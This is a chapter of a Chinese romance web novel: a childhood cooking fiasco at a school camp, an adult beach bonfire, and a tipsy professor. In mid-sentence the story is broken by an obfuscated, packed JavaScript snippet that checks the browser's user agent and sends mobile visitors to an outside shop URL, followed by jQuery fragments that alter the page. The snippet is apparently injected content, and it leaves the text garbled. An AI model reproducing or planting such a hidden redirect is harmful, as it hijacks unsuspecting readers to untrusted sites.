学校提前准备了很多种食材,有简单的土豆、虾仁、番茄、鸡蛋等等,也有稍微复杂一些的、已经切成块腌制好的鸡肉、鱼肉和牛排等肉类。
每个小组经过商量后,派出自己的队长去老师手里领取食材。各类食材有限,先到先得。
祁方摩拳擦掌,对鸡蛋之类的东西不屑一顾,站在老师面前,指了指很少人领的鸡肉和鱼肉。
“老师,我们组要做黄焖鸡和糖醋鱼!”
分食材的老师推了推眼镜,很诧异地低头注视了一会儿这个小胖子,温声说:“祁方同学,这两样菜很难做哦,要不要换成西红柿炒鸡蛋呢?”
祁方胖手一挥,放出豪言道:“不需要,我会做!”
旁边的同学们露出了惊叹又崇拜的目光。
老师无奈,只能捡出需要的食材和调料递给祁方,同时叮嘱:“遇到困难,及时向各位老师求助好不好?”
祁方抱着一大堆食材,头也不回地往自己队伍的帐篷走,满不在乎地说:“不需要,不需要。”
沈虞和李聪明、秦潇洒三个人合力搭好了小型篝火,还准备好了几个锅和碗。
见祁方带着一堆复杂的食材回来,李聪明咂舌道:
“我们真的可以做吗?这么多东西,一个小时够不够完成啊?完不成的话,我们要饿肚子了。”
祁方思考片刻,严谨地说:“我觉得,半个小时应该就够了,只要我们合作好。”
李聪明信任地点点头。
秦潇洒想了想,还是拿出自己的手机,搜索“黄焖鸡”和“糖醋鱼”的食谱和视频,递给祁方,说:
“你好好看一看,我记得这两样菜挺复杂的,待会做起来就顾不上看视频了。”
祁方闻言接过来,匆匆浏览了一遍,胸有成竹道:
“好,我会了!李聪明,你去洗香菇和切土豆。秦潇洒,你去调酱料。沈小鱼,你……你在旁边坐着,用这个手机把我做饭的照片拍下来留念。”
李聪明举手抗议:“我们的分工是不是有点不太公平?”
祁方叉腰:“我是队长!我叫你做什么就做什么。”
李聪明要气死了。
沈虞见状,慢吞吞地主动要求:“我来洗香菇吧。”
祁方抢过他刚拿到手的香菇:“不行,你动什么手,坐着给我拍照片就行了!李聪明不洗我来洗。”
但祁小队长显然将做饭这件事想得过于简单了。
在李聪明把土豆没削皮就切得七零八落,秦潇洒调了满满一盆酱料,祁方本人被热油锅四溅的油炸得连连后退之后,这顿饭的结局就已经有所预见。
鸡肉煮了很久都没熟,鱼肉全部黏在了锅底,祁方手忙脚乱,胖爪子被油点溅得红通通的,最后还是被路过的老师发现,赶过来救了场。
但即便如此,神龙无敌霸王小队的做饭进度也遥遥落后于其他组,并且端出来的成果惨不忍睹。
唯一在计划中完成的,还是沈虞拿手机给祁方拍的照片。
照片里祁小胖子龇牙咧嘴,被烟熏得满脸都是泪。
沈虞按照承诺,率先夹了第一筷子,尝试着送进了嘴里。
下一秒,沈虞忍了忍,没忍住,转脸就吐了。
神龙无敌霸王小队本次做饭活动,得分0分。
“那张照片,现在还贴在我以前的房间墙上。”
篝火晚会已经开始,陆陆续续有人牵着手在火堆边跳舞,祁方看着看着,忽然说了这么一句,笑起来:
“沈鱼鱼,你把我拍得真丑,那大脸盘子,和发面馒头似的,旁边的秦潇洒比我帅多了。”
沈虞对照片还有点印象,回忆片刻,辩解说:“那时候你就长那样。”
“……”祁方的表情很受伤:“不是吧,我读小学时胖归胖,五官应该还是可以的吧?”
沈虞:“。”
不是很想回答这个问题。
祁方咳了一声,转移话题道:“从那次活动起,我才有自己学做饭的想法。”
——为了能让沈小鱼吃了自己做的东西不再吐出来。
一开始,还是小胖子的祁方只是抱着不服输的念头,回家后闭门埋头钻研“黄焖鸡”和“糖醋鱼”的做法,在学习之下惊讶地发现原来做一盘菜还有那么多的门道。
在参加秋游活动时,食材都是学校准备好的,已经腌制现成的。
但要重头做一道菜,竟然还需要自己去菜市场把食材买回来,还要去皮、切、洗、调味,制作时既要掌握火候又要掌握油盐的量,无论是哪个细节出了错,都会导致口味变差。
最过分的是,把菜做完吃掉了,还要洗碗!!!
十岁出头的祁小胖同学,在惊觉这个事实的时候,不亚于发现自己做完语文作业还有数学作业。
所有人,包括祁方的父母,都以为这是小孩子的三分钟热度,稍微学点基础的常识,就会知难而退了。
没想到,从那一天起,祁方整整坚持了十几年,一直坚持到了现在。
起初是烹饪简单的家常菜,煮点白粥和小米粥,后来逐渐升级,开始朝着花样和技巧方向进化,甚至参加了几个业内协会举办的厨艺大赛,又抽空考了什么中式烹调师、西式面点师之类的职业资格证书。
最后返璞归真,平常按着沈虞的口味做些小菜,闲时搞点特色和花样,逢年过节时才施展才艺。
祁方的兼职厨子之路,走了很多年,目前处于一种心满意足的大师状态,已经不像是小学时那样爱好显摆和出风头了。
主打一个低调务实,目标是把沈虞喂饱喂好。
祁方的经历讲述完,沈虞的蜜汁烤串也吃完了,停下动作,提出了一个疑问:“你是为了我才学习做饭的吗?”
祁方:“唔,当然,沈鱼鱼,我就是为了你才开始学这麻烦玩意儿的。”
沈虞很轻地蹙了一下眉,开口道:“你……”
他不赞成任何一个人因为这样的理由改变自己。
于“学习”一道上,沈虞的信念非常纯洁固执,认为学任何东西,都必须先是自己想学,才有必要去学。
没有内在信念支撑,行动力是很有限的。
沈虞带教的那些研究生,普遍有着这样淳朴的科研热情。唯一一个异类赵岷青,也在被踢出组的途中了。
“不过呢,”
没等沈虞说完,祁方就话锋一转,紧接着道:“后来试了几次,慢慢发现还挺有意思的,当做一项事业来做也不错。”
“这项
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438205|140871||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
事业起步腾飞的源头,就是我们小学时的那次露营活动。”
祁方颇为得意:“我记得当时学校没有准备自热炉灶,我们几个还是凭自己努力捡树枝生的火。”
就和十几米外熊熊燃烧的篝火一样,祁方对沈虞的心思、以及他拙劣的厨艺,都如火苗般愈燃愈烈,最后席卷他的整个人生,成为生活中必不可缺的一部分。
“并不是我因为你强行改变了自己。”
祁方竖起一根手指摇了摇,半是玩笑半是认真道:“沈教授,你该把自己当成我厨师事业的引路人才对。”
沈虞:“我没有做什么。”
“你不需要做什么。”祁方想也没想,接话说:“光是看你吃饭的样子,对我就有莫大的意义了,沈鱼鱼。”
沈虞长长的眼睫很轻地颤了颤。
随即他偏开脸,去看另一边深黑的海面,不愿意再和祁方对视了。
祁方觉得有点稀奇。
这是做什么……难不成害羞了?
在这个晚上,祁方琢磨出了一个非常令人吃惊的猜想,那就是——沈虞竟然似乎是会害羞的。
简直是石破天惊。
*
篝火晚会上,主办方支了个幕布,投影了几部电影短片,又邀请观众一起分享岛上特色的美食拼盘,还搞了几轮活跃气氛的社交游戏,围坐着互不认识的男女受到热闹氛围感染,欢乐地手牵手绕着篝火跳各国乱七八糟的舞蹈。
沈虞没有过去参与,他天生与这样热闹的场景有隔阂感,但不知为何始终没有提出要离开,只遥遥坐在角落里,安静地喝着气泡酒,顺带观察篝火旁边游客的一举一动。
祁方陪着沈虞,顺带偷偷摸摸地在手机微信上和李聪明、秦潇洒分享自己的最新动态。
他把包括自己在内的三个人拉了个群。
[祁二少:[照片][照片][照片]]
[李聪明:???你偷拍沈虞,给我们看干什么?]
[秦潇洒:在哪玩?这边饭局快结束了,明天能过去和你们一起度个假]
祁方在群里发了个酒店的定位,同时不回复任何文字消息,只一味发照片。
发沈虞在沙滩集市上观察商品的样子,发沈虞戴着白色草帽的样子,发沈虞坐在游客车上发呆的样子,发沈虞看着海面和落日的样子,发沈虞慢吞吞吃烧烤的样子,发沈虞对着他的后脑勺……
[李聪明:已退群,勿扰。小心我举报你们虐待动物。]
[秦潇洒:明天我给你俩拍情侣照行吗?今晚先消停点]
祁方分享美好生活终于分享爽了,干脆利落把李聪明和秦潇洒齐齐踢出群,一口气不停歇地退出微信。
篝火晚会临近尾声的时候,沈虞和祁方先回了酒店。
然而等进到房间里,打开灯后,祁方转过身看见什么,皱眉盯着沈虞的脸,喃喃出声道:“沈鱼鱼……你的脸怎么红得和猴屁股似的?”
沈虞站在原地,眸光里雾蒙蒙的,像含了一池摇曳的水,闻言反应了半天,才慢吞吞地开口纠正:“我不是猴子。”
“……?”祁方警铃大作:“等下,你刚刚喝了多少酒?”
沈虞抬起三根手指,慎重地回答:“……只有一点。”